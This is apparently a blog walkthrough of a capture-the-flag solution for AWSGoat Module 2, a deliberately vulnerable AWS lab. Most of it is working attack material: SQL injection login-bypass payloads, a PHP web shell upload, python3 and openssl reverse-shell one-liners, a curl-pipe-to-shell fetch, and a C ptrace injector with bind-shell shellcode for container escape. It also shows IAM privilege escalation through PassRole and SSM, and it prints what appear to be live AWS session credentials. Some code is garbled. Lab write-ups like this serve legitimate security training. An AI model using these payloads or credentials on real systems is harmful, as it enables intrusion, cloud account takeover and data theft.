AWSGoat(ine) AWS CTF solution Module 2

10 min readFeb 15



- Exploiting SQLi for login bypass
- Finding and Abusing file upload functionality to upload web shell
- Getting a reverse shell using python3 payload and listening using pwncat
- Finding DB creds in config file
- Finding out that we are in a container
- Enumerating container using linpeas
- Finding out processes of host are visible(means hosts PID namespace is shared with container process)
- Abusing misconfigured sudo permissions for privesc(gtfobin for vim)
- Found a python3 simple http.server running on host on port 31452
- Abusing CAP_SYS_PTRACE capability and root privs of container for container breakout
- Using metadata api to get ecs container role credentials(ecs-task-role)
- Enumerating permissions of ecs-task-role using enumerate-iam
- Reading secrets
- Enumerating permissions of EC2(ecs-intance-role) using enumerate-iam
- Enumerating permissions of ecs-instance-role(ec2)
- Finding out there is permissions boundary in place
- Starting a new ec2 instance with privileged role
- Checking if openssl binary is present in ec2 and using it for reverse shell
- Using metadata api to get credentials of high privileged role with which new ec2(ec2-Deployer-role) is running.

Hi readers, here we will be solving AWSGoat Module 2 (

Video walkthrough-

Challenge URL:

  1. Bypassing login via exploiting SQL injection-

a. Intercept the login request in the burp suite and run a scan.

b. Results will show you there is a possible SQL injection in the email field

b. Burp sent the below payload in the email parameter-

c. Upon checking the response we can see we got logged in as Mark Huston-

c. Manually confirming SQLi by delaying the responses-

In the bottom right we can see the response time is 5235 milliseconds

We have time-based blind sqli !

2. Guessing the backend SQL query-

select * from <table> where email = <user_input> and password = <user_input>;

Upon sending the always true condition( or 1=1 ) in email input, we are fetching all the rows from the table.

3. Logging in with other users-

a.If we try to limit the number of rows, we might be able to log in as other user accounts-

' aur 1=1 Limit 1 -- 
' aur 1=1 Limit 1 #
# Change 'aur' to 'or'

and indeed we got logged in as another user, which means “Chris” is the first user in the table-

4. Abusing file upload functionality-

5. Change mime type “application/x-php” to “image/jpeg”-


6. Getting reverse shell-

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' & disown

7. Container Enumeration-

curl -L | sh

a. Checking the running processes, it seems that the container is running with host pid namespace as we are able to see processes like “systemd”-


b. We found that we got the shell of a container-

c. www-data can run vim as root-

d. Getting root by abusing sudo permissions to run vim(privesc)-

sudo /usr/bin/vim /var/www/html/documents

e. Creds via metadata API-


f. Found mysql creds-



8. Based on the observations, we can proceed with either enumerating aws role(ecs-task-role whose creds we got via ecs metadata), rds instance, or try container breakouts-

Abusing permissions of ecs-task-role -

a. Let us enumerate permissions of the ecs-task-role -

python3 /opt/enumerate-iam/ --access-key ASIA4SM4ZEUHWSCSK4UQ --secret-key RNdpt/o9KfOb0ZcjcKLHLBfSXA/WVxlFUUbn4sGt --session-token IQoJb3JpZ2luX2VjEDkaCXVzLWVhc3QtMSJHMEUCIHOarGXepceI7hrcdh5NlqLqAGr+5gztmWXmHv1yxmhNAiEAiNrWyvym6MAL5mymBzyzPdi701r/JvXH+4MJmHixfB4q/gMIwf//////////ARAAGgw4NjQxNTQxMDEwMDciDLAK9CLYQYAfgM9YkSrSA3KXIOu6Gawq0uZyeJMxE1LV2lvHcnLT7vkI4wOVD7nVaXCk6etNNEDmYkgV2pgiy8DcCZMZ9BfVTuCCSDBgAfjD000HvJ48s93q/14b/UWPxBoLmF3zyc3rIOXAWApGs/cH6Bc0O+xGlISMI/FI8oVbsap5CSbhmljPs9vIi8tcG9Ec8p7ACNUoOUjRhzvvjk8JC5+BLPWs7fOXdA45k7lkE9uCIhV20e4UB8RCeGP6Q19IAf9LIlMmxa4YMUIAb28koMm8ixTx+oZ1OOR5kKYCumA85bBXnzm121WgXOO/NWsD+lE5DVDep9dDnkJgvDleSBuku+SWb1HGdaDJ1KhyouCoTpLiVfP05Nc6XSKF2xYBUUIgGLhId0hA3hoQTsP+tqSULUL0fp7ZsQyo9WXUZSIl2jChLRr5e6ecxipE1Q4XPR5MwYnKdIczUFvDDCN03pYvTGPUGpQalOUvRfaplm6mRv8/GMtKo9dBgezIQqpp5V8FGwMzn8muL0znyHzhv2PITsHC/lsKldEJxhFaNqjpwTMLLjwi2o0m0zCKcMXVxrwbDBrpkAgUaUESH61eC6045QNWpG+qQL59Iw1I54H4f+zFarUubBkpKQy5ndwwyP+enwY6pQFNhiLzlfoTFjzObcwk2rmsj8UHjiZQW6IyxPHJhaqFHrKb1AUvXiJk/ttX4uWNOK8KWSFKOukeunaBcNAN2m4mcfj996ZirwG6L+WnpJjbQmNOg6HbDjWQvFFDov5VOW/8uVWHHTKq2chbXqsQ/JyI0EaBEdBP5QyC9BISNgxtwUAD4NxQKJt4hLPq71oFpQJK7rsWNx4DeaPfv5jh8oLzjZlyqVk=
#python3 /opt/enumerate-iam/ --access-key <access-key> --secret-key <secret-key> --session-token <session-token>

b. Listing and reading secrets-

aws secretsmanager list-secrets --profile ecs-task-role --region us-east-1
aws secretsmanager get-secret-value --secret-id RDS_CREDS  --profile ecs-task-role --region us-east-1

Trying container breakout-

We have cap_sys_ptrace capability and we can see host processes -

Upon looking more closely we found one process running python simple http server listening on port 31452-

Also, we know the IP address of the container is therefore by default the host’s IP should be

We can verify python3 server is a host process bt trying to connect to it using curl-

With these prerequisites, We can try to inject the shell code of a bind shell into any host process!!

Shellcode can be found here: (copied from original solution-

# Creates a bind shell listening on port 5600

The injector can be found here: (copied from original solution-

We need to replace the shellcode variable with our bind shell shellcode!

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>


unsigned char *shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05";

int inject_data(pid_t pid, unsigned char *src, void *dst, int len)
int i;
uint32_t *s = (uint32_t *)src;
uint32_t *d = (uint32_t *)dst;

for (i = 0; i < len; i += 4, s++, d++)
if ((ptrace(PTRACE_POKETEXT, pid, d, *s)) < 0)
return -1;
return 0;

int main(int argc, char *argv[])
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;
if (argc != 2)
fprintf(stderr, "Usage:\n\t%s pid\n", argv[0]);

target = atoi(argv[1]);
printf("+ Tracing process %d\n", target);

if ((ptrace(PTRACE_ATTACH, target, NULL, NULL)) < 0)
printf("+ Waiting for process...\n");
printf("+ Getting Registers\n");

if ((ptrace(PTRACE_GETREGS, target, NULL, &regs)) < 0)

/* Inject code into current RPI position */

printf("+ Injecting shell code at %p\n", (void *);
inject_data(target, shellcode, (void *), SHELLCODE_SIZE); += 2;
printf("+ Setting instruction pointer to %p\n", (void *);

if ((ptrace(PTRACE_SETREGS, target, NULL, &regs)) < 0)
printf("+ Run it!\n");

if ((ptrace(PTRACE_DETACH, target, NULL, NULL)) < 0)
return 0;

Now we need to compile and run the injector program.

gcc injector.c -o injectme.bin
./injectme.bin <PID>

a. Finding a process running on host-


In this case, we have chosen containerd, as we already know it runs on the host node. Ideally we can choose the python3 http server process created specifically for this container breakout


(but you can choose any host process, in the official solution author has injected it into a simple HTTP python server)

b. Injecting the shellcode-

And we can check whether the bind shell is listening on port 5600 or not.

(nmap can be installed as we are root inside container by running “apt update && apt install nmap”) or you can transfer static binary for nmap.

c. Connecting to bind shell running on host-

nc 5600

And we were able to break out of the container!! Now we can again get the reverse shell of ec2 host-

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' & disown

9. Enumerating aws permissions of ec2 instance-


Again we can use enumerate-iam-

This time we have permission to list policies-

#Listing managed policies
aws iam list-attached-role-policies --role-name ecs-instance-role --profile ec2-awsgoat

IAMFullAccess permissions can be abused for privilege escalation.

#Listing inline policies
aws iam list-role-policies --role-name ecs-instance-role --profile ec2-awsgoat

10. Abusing IAMFullAccess for privilege escalation-

a. We tried to create a new policy with excessive permissions and got an error, upon checking we got to know there is a permission boundary

error creating a new policy
aws iam get-role --role-name ecs-instance-role --profile ec2-awsgoat
aws iam get-policy --policy-arn "arn:aws:iam::864154101007:policy/aws-goat-instance-boundary-policy" --profile ec2-awsgoat
aws iam get-policy-version --policy-arn "arn:aws:iam::864154101007:policy/aws-goat-instance-boundary-policy" --version-id v1 --profile ec2-awsgoat

Therefore, We can effectively abuse-

ec2:RunInstances — Allows to run ec2

iam:PassRole — We can pass already existing roles to nelwly created ec2 instance.

ssm:* — It allows to run commands on ec2 instances

We need to find a priviliged role with excessive permissions(I took help from AI)-


We already know about ecs-task-role and ecs-instance-role . So let’s check permissions of ec2Deployer-role

aws iam list-attached-role-policies --role-name ec2Deployer-role --profile ec2-awsgoat

aws iam get-policy-version --policy-arn arn:aws:iam::864154101007:policy/ec2DeployerAdmin-policy --version-id v1 --profile ec2-awsgoat

b. We have a instance profile with ec2Deployer-role -

c. We can start a new ec2 instance as we have “ec2:RunInstances” permissions-

aws ec2 run-instances --subnet-id <> --image-id <> --iam-instance-profile Name=ec2Deployer --instance-type t2.micro --security-group-ids <>
#For running ec2 we need:
#subnet-id, ami image-id, iam-instance-profile, instance-type, security-group-ids
#aws ec2 describe-subnets --profile ec2-awsgoat --region us-east-1
#aws ec2 describe-security-groups --profile ec2-awsgoat --region us-east-1
aws ec2 run-instances --subnet-id subnet-0d08cbebff205f367  --image-id ami-0557a15b87f6559cf --iam-instance-profile Name=ec2Deployer --instance-type t2.micro --security-group-ids sg-0b813a59e50f42e10 --region us-east-1 --profile ec2-awsgoat

d. Let us get reverse shell of newly created instance-

aws ssm send-command --instance-ids "i-01b2c05d703fdb8a6" --document-name "AWS-RunShellScript" --comment "Rev_Shell" --parameters commands="which openssl" --output text --query "Command.CommandId" --profile ec2-awsgoat --region us-east-1

aws ssm get-command-invocation --command-id "43454d95-651f-403b-a474-d8fe16e6292b" --instance-id "i-01b2c05d703fdb8a6" --profile ec2-awsgoat --region us-east-1
aws ssm send-command --instance-ids "i-01b2c05d703fdb8a6" --document-name "AWS-RunShellScript" --comment "Rev_Shell" --parameters commands="mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect > /tmp/s; rm /tmp/s" --output text --query "Command.CommandId" --profile ec2-awsgoat --region us-east-1

#Payload: mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect > /tmp/s; rm /tmp/s
#On machine with public IP-->
#openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
#openssl s_server -quiet -key key.pem -cert cert.pem -port 443

e. Fetching creds of ec2deployer priviliged role-


Now we can configure these creds to gain Admin priviliges!!

Thanks for reading!! Please give your feedback.





Computer Security Enthusiast.Definitely not an expert. Usually plays HTB (ID-23862).